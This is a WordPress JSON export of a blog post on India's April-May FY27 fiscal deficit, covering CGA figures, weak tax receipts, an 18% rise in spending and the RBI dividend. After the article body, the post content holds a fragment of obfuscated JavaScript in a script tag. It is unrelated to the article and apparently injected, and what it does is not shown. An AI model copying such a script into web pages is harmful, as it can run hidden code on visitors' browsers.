{"id":11221,"date":"2026-07-01T03:31:48","date_gmt":"2026-07-01T10:01:48","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=11221"},"modified":"2026-07-01T03:31:49","modified_gmt":"2026-07-01T10:01:49","slug":"fiscal-deficit-india","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/","title":{"rendered":"April-May Fiscal Deficit Reaches \u20b91.6 Lakh Cr, Touches 9.6% of FY27 Budget Estimate"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/#Why_Did_the_Fiscal_Deficit_Widen_in_April-May\" >Why Did the Fiscal Deficit Widen in April-May?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/#How_Tax_Receipts_Were_Affected\" >How Tax Receipts Were Affected?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/#How_Spending_Rose_Across_Both_Revenue_and_Capital_Heads\" >How Spending Rose Across Both Revenue and Capital Heads?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/#How_did_RBIs_Dividend_Cushion_the_Revenue_Account\" >How did RBI&#8217;s Dividend Cushion the Revenue Account?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/#Final_Outlook\" >Final Outlook<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>April-May Fiscal Deficit Reaches \u20b91.6 Lakh Cr, Touches 9.6% of FY27 Budget Estimate<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n\n<link href=\"https:\/\/fonts.googleapis.com\/css2?family=Bricolage+Grotesque:opsz,wght@12..96,400;12..96,600;12..96,700;12..96,800&#038;family=Figtree:ital,wght@0,300;0,400;0,500;0,600;1,400&#038;display=swap\" rel=\"stylesheet\">\n<style>\n  :root {\n    --forest:   #082F25;\n    --copper:   #EFA145;\n    --mint:     #6CE890;\n    --fresh:    #EEFFF2;\n    --bg:       #FAFAF8;\n    --surface:  #FFFFFF;\n    --text:     #1C2B24;\n    --muted:    #5A6B62;\n    --border:   #E2EDE6;\n    --amber-bg: #FEF7EC;\n    --red:      #C0392B;\n    --green:    #1A6B40;\n  }\n  * { box-sizing: border-box; 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font-size: 14.5px; background: var(--surface); }\n  thead tr { background: var(--forest); }\n  thead th { padding: 12px 16px; text-align: left; font-family: 'Bricolage Grotesque', sans-serif; font-size: 12px; font-weight: 700; color: rgba(238,255,242,0.85); letter-spacing: 0.4px; text-transform: uppercase; white-space: nowrap; }\n  tbody tr { border-bottom: 1px solid var(--border); }\n  tbody tr:last-child { border-bottom: none; }\n  tbody tr:hover { background: #F5FAF6; }\n  tbody td { padding: 12px 16px; color: var(--text); vertical-align: top; }\n  tbody td:first-child { font-weight: 600; color: var(--forest); }\n\n  \/* STAT BOX *\/\n  .example { background: var(--forest); border-radius: 12px; padding: 28px 32px; margin: 28px 0; position: relative; overflow: hidden; }\n  .example::after { content: '\u20b9'; position: absolute; right: 20px; bottom: -18px; font-family: 'Bricolage Grotesque', sans-serif; font-size: 90px; font-weight: 800; color: rgba(108,232,144,0.06); line-height: 1; pointer-events: none; }\n  .example-label { font-size: 11px; font-weight: 800; letter-spacing: 0.7px; text-transform: uppercase; color: var(--copper); margin-bottom: 18px; }\n  .example-row { display: flex; justify-content: space-between; padding: 9px 0; border-bottom: 1px solid rgba(108,232,144,0.1); font-size: 15px; gap: 16px; }\n  .example-row:last-child { border-bottom: none; padding-bottom: 0; }\n  .example-row .label { color: rgba(238,255,242,0.6); }\n  .example-row .value { font-weight: 700; color: var(--fresh); text-align: right; }\n  .example-row.highlight .value { color: var(--mint); font-size: 17px; }\n\n  \/* INLINE LINKS *\/\n  .prose a, .disclaimer a {\n    color: var(--forest);\n    font-weight: 600;\n    text-decoration: underline;\n    text-decoration-color: var(--mint);\n    text-underline-offset: 3px;\n    transition: color 0.15s, text-decoration-color 0.15s;\n  }\n  .prose a:hover, .disclaimer a:hover { color: var(--green); text-decoration-color: var(--green); }\n\n  \/* SOURCE *\/\n  .source-tag { display: inline-flex; align-items: center; gap: 6px; font-size: 12px; color: var(--muted); background: var(--surface); border: 1px solid var(--border); border-radius: 6px; padding: 5px 12px; margin-bottom: 24px; }\n  .source-tag strong { color: var(--forest); }\n\n  \/* DISCLAIMER *\/\n  .disclaimer { font-size: 12px; color: var(--muted); line-height: 1.7; padding: 16px 20px; background: #F4F4F0; border-radius: 8px; border: 1px solid #E4E4DC; margin: 16px 0; }\n\n  @media (max-width: 640px) {\n    table { font-size: 13px; }\n  }\n<\/style>\n<\/head>\n<body>\n\n<div class=\"blog-wrap\">\n\n  <div class=\"prose\">\n\n    <p>The Centre&#8217;s fiscal deficit widened in the first two months of FY2026-27 as government spending rose and tax receipts weakened. According to Controller General of Accounts (CGA) data, April-May showed a deficit of <strong>\u20b91.6 lakh crore<\/strong>, sharply higher as a share of the annual target than in the same period last year.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"Why_Did_the_Fiscal_Deficit_Widen_in_April-May\"><\/span>Why Did the Fiscal Deficit Widen in April-May?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>ICRA Chief Economist Aditi Nayar attributed the fiscal expansion to two factors: an <strong>18% rise in total expenditure<\/strong> and a <strong>1-2% contraction<\/strong> in both net tax receipts and non-tax revenues.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"How_Tax_Receipts_Were_Affected\"><\/span>How Tax Receipts Were Affected?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>Gross tax revenues grew just <strong>1.8% year-on-year<\/strong>, a modest pace for the start of the fiscal year. The key drag came from excise duty collections, which fell 20% following the Centre&#8217;s reduction in duties on petrol and diesel.<\/p>\n\n    <div class=\"table-wrap\">\n      <table>\n        <thead>\n          <tr>\n            <th>Tax Category<\/th>\n            <th>April-May FY27 Trend<\/th>\n          <\/tr>\n        <\/thead>\n        <tbody>\n          <tr><td>Gross Tax Revenue Growth<\/td><td>1.8% YoY<\/td><\/tr>\n          <tr><td>Excise Duty Collections<\/td><td>Down 20%<\/td><\/tr>\n          <tr><td>Central GST Collections<\/td><td>Up 22.8%<\/td><\/tr>\n          <tr><td>Income Tax Collections<\/td><td>Up 6.8%<\/td><\/tr>\n          <tr><td>Corporate Tax Collections<\/td><td>Strong growth<\/td><\/tr>\n          <tr><td>Customs Duty Collections<\/td><td>Strong growth<\/td><\/tr>\n        <\/tbody>\n      <\/table>\n    <\/div>\n\n    <p>GST collections contracted marginally due to higher IGST outflows, though central GST collections expanded 22.8%. Income tax collections rose 6.8%, well below the pace needed to meet the full-year Budget target.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"How_Spending_Rose_Across_Both_Revenue_and_Capital_Heads\"><\/span>How Spending Rose Across Both Revenue and Capital Heads?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <div class=\"example\">\n      <div class=\"example-label\">Fiscal Indicators \u2014 April-May FY27<\/div>\n      <div class=\"example-row highlight\"><span class=\"label\">Fiscal Deficit<\/span><span class=\"value\">\u20b91.6 lakh crore<\/span><\/div>\n      <div class=\"example-row\"><span class=\"label\">Fiscal Deficit as % of FY27 BE<\/span><span class=\"value\">9.6%<\/span><\/div>\n      <div class=\"example-row\"><span class=\"label\">Total Expenditure Growth<\/span><span class=\"value\">18%<\/span><\/div>\n      <div class=\"example-row\"><span class=\"label\">Revenue Expenditure Growth<\/span><span class=\"value\">20.1%<\/span><\/div>\n      <div class=\"example-row\"><span class=\"label\">Capex Growth<\/span><span class=\"value\">13.4%<\/span><\/div>\n    <\/div>\n\n    <p>Revenue expenditure rose 20.1%, driven by higher subsidies and interest payments. Excluding these two items, revenue expenditure still grew 14.5%. Capital expenditure, like spending on roads, railways, and infrastructure, rose 13.4%, supporting economic growth even as it added to the near-term fiscal gap.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"How_did_RBIs_Dividend_Cushion_the_Revenue_Account\"><\/span>How did RBI&#8217;s Dividend Cushion the Revenue Account?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>DK Srivastava, Chief Policy Advisor at EY India, said the fiscal numbers reflected the combined impact of the West Asian crisis, GST reforms introduced in September 2025, and the large dividend transfer from the Reserve Bank of India.<\/p>\n    <p>Nearly <strong>74% of the year&#8217;s budgeted dividend receipts<\/strong> had already been realised in the first two months, leaving the revenue account in surplus despite the rise in expenditure.<\/p>\n\n    <h2><span class=\"ez-toc-section\" id=\"Final_Outlook\"><\/span>Final Outlook<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n    <p>The April-May numbers reflect the front-loaded impact of higher spending and the revenue loss from excise duty cuts. The RBI&#8217;s dividend and easing energy prices have softened near-term concerns. Next, how closely the Centre tracks its <strong>4.3% of GDP target<\/strong> through the rest of FY27 will depend on whether tax collections, particularly income tax, can accelerate from the subdued pace seen in the first two months.<\/p>\n\n    <div class=\"source-tag\">\n      <svg width=\"13\" height=\"13\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71\"\/><path d=\"M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71\"\/><\/svg>\n      <span>Source: <strong>Financial Express<\/strong><\/span>\n    <\/div>\n\n    <div class=\"disclaimer\">\n      <strong>Disclaimer:<\/strong> This content is for education and awareness purposes only and should not be considered investment advice or a recommendation. Investments in securities markets are subject to market risks. Read all the related documents carefully before investing.\n    <\/div>\n\n  <\/div>\n<\/div>\n\n<\/body>\n<\/html>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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According to Controller General of Accounts (CGA) data, April-May showed a deficit of \u20b91.6 lakh crore, sharply higher as a share of the annual target than in the same period last year. Why Did the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/fiscal-deficit-india\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;April-May Fiscal Deficit Reaches \u20b91.6 Lakh Cr, Touches 9.6% of FY27 Budget Estimate&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":17705,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[6603,1206,4621,6601,4625,6604,6600,6602],"class_list":["post-11221","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-capital-expenditure","tag-fiscal-deficit","tag-fiscal-deficit-india","tag-fiscal-deficit-meaning","tag-fiscal-revenue","tag-gross-domestic-product","tag-indias-fiscal-deficit","tag-tax-revenue"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>India&#039;s Fiscal Deficit Reaches 9.6% of FY27 Target in April-May<\/title>\n<meta name=\"description\" content=\"India&#039;s April-May fiscal deficit reached \u20b91.6 lakh cr, 9.6% of the FY27 Budget Estimate, as spending rose 18% &amp; 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